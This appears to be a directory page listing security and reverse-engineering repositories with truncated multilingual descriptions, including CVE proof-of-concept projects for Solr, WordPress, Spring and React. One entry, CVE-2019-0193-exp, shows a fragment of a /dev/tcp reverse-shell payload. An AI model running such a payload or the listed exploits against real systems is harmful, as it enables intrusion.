sdnpwn

What is sdnpwn? sdnpwn is a toolkit and framework for testing the security of Software-Defined Networks SDNs. For more information check out this article: https://sdnpwn.net/2017/08/22/what-is-sdnpwn/ Installation First download sdnpwn using git git clone https://github.com/smythtech/sdnpwn Make...

CryptoLyzer

CryptoLyzer is a fast, flexible, and comprehensive server cryptographic protocol TLS, SSL, SSH, IKE, DNSSEC and related setting HTTP headers, DNS records analyzer and fingerprint JA3, HASSH generator with API and CLI interfaces. Use CryptoLyzer when you need to audit TLS/SSL cipher suites — unlik...

CryptoLyzer

CryptoLyzer 是一款快速、灵活且全面的服务器加密协议 （TLS、 SSL、 SSH、 IKE、 DNSSEC）及相关设置 （HTTP 头、 DNS 记录）分析器与指纹 （JA3、 HASSH）生成器，提供 API 和 CLI 接口。 当你需要审计 TLS/SSL 密码套件时，请使用 CryptoLyzer —— 与 testssl.sh 和 sslyze 不同，它使用独立于 OpenSSL 的自定义协议实现，可检测 400 多种密码套件，包括 GOST 和后量子算法。 当你需要审计 SSH 算法时，请使用 CryptoLyzer —— 与 ssh-audit...

CVE-2026-104051-pictshare-info-disclosure

CVE-2026-104051 — Divulgación de información sensible a través de la API info en PictShare Investigación de seguridad autorizada. PoC solo para uso defensivo y educativo. El endpoint /api/info/ de PictShare devuelve el objeto de metadatos sin procesar completo de cualquier archivo subido —...

dconstruct

dconstruct Open the source MP4 dconstruct is a reverse engineering tool for the DC-Script files used in The Last of Us Part II. It features a disassembler and a decompiler. It outputs .asm files containing the disassembled structures and bytecode, aswell as .dcpl DC Pseudo Language files containi...

CVE-2023-2598

CVE-2023-2598 what's iouring? ​ iouring is a system call interface for Linux. It has supported almost all system call so far, not only read and write initially. It enables an application to initiate system calls that can be performed asynchronously. Submission and Completion Queues At the core of...

mmiotic

mmiotic Una herramienta exploratoria para medir tiempos de MMIO: mide el tiempo de cualquier dirección física y disecciona el hardware a partir de la latencia. Sorprendentemente útil para ingeniería inversa de hardware, fingerprinting de hipervisores, actividad de dispositivos por canales...

ai-reverse-engineering

Rev·Deck — 借助 Ghidra 的 AI 辅助逆向工程 Rev·Deck 是一款本地、单用户的静态分析工作站。它将证据优先的 Web 界面与 LLM 副驾驶（copilot）相结合，作用于由无头 Ghidra 服务分析过的二进制文件：你可以直接浏览确定性证据（函数、字符串、导入、交叉引用、有界调用图），也可以向助手提出有界问题，而助手的任何事实性论断都必须引用可检查的证据。 被分析的二进制文件绝不会被执行。浏览器只与本 Flask 应用通信；该应用将经过验证的类型化请求代理给 Ghidra 服务。 演示...

DInvoke_rs

DInvokers Port en Rust de Dinvoke. DInvokers puede usarse para muchos propósitos, como el análisis de PE, la resolución dinámica de funciones exportadas, la carga dinámica de plugins PE en tiempo de ejecución, la evasión de hooks de API y más. Características: Resolver e invocar dinámicamente API...

recaptcha

Description Este repositorio contiene un análisis técnico del antibot de Google reCAPTCHA centrado en: Estructura y valores del payload Técnicas de fingerprinting Técnicas de ofuscación Técnicas anti-depuración/manipulación Máquinas virtuales Contacto Discord: @grecaptcha Telegram: @lyxlobyx...

fscan

Fscan 中文 Comprehensive intranet scanning tool for automated vulnerability assessment. Version : 2.2.0 Features Scanning Host Discovery - ICMP/Ping alive detection, B/C segment statistics for large networks Port Scanning - TCP connect scan, 133 built-in ports, port groups web/db/service/all...

react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478

🔍 Phoenix SCA Scanner - Universal - Versión para CVE-2025-55182-CVE-2025-66478 Vulnerabilidad React y Nexus Vulnerabilidad EXTERNA para la clase de bugs React2Shell : dos vulnerabilidades de ejecución remota de código recién divulgadas y no autenticadas en el protocolo «Flight» de React Server...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2025-4524

CVE-2025-4524 - LFI sin autenticación en el tema de WordPress madara-core Enlace WordFence Descripción Existe una vulnerabilidad en la acción madaraloadmore de madara, donde un parámetro template son datos arbitrarios del usuario y se pasan a la función include de PHP. Vulnerabilidad Existe una...

SecureAI-Scan

SecureAI-Scan An offline scanner for the code that talks to LLMs, MCP servers, vector stores, and Agent Skills. It finds prompt injection, MCP command injection and path traversal, RAG data leaks, and poisoned skills, and it proves each finding with a source → sink trace through your real imports...

batea

Batea A batea is a large shallow pan of wood or iron traditionally used by gold prospectors for washing sand and gravel to recover gold nuggets. Batea is a context-driven network device ranking framework based on the anomaly detection family of machine learning algorithms. The goal of Batea is to...

UniPwn

Análisis de Inyección de Comandos en el Servicio BLE del Robot Unitree Autor: Bin4ry aka Andreas Makris [email protected] Coautor: h0stile aka Kevin Finisterre Colaborador: legion1581 aka Konstantin Severov de theroboverse ayudó a corregir el payload para la inyección y lo demostró con un Po...

nautilus

Nautilus 2.0 Nautilus is a coverage guided, grammar based fuzzer. You can use it to improve your test coverage and find more bugs. By specifying the grammar of semi valid inputs, Nautilus is able to perform complex mutation and to uncover more interesting test cases. Many of the ideas behind this...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 Construcción $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day Payload...

CVE-2025-30921

CVE-2025-30921 1️⃣ Tipo de componente Plugin de WordPress 2️⃣ Detalles del componente Nombre del componente Newsletters Versión vulnerable = 4.9.9.7 Slug del componente newsletters-lite Enlace del componente https://wordpress.org/plugins/newsletters-lite/ 3️⃣ OWASP 2017: TOP 10 Clase de...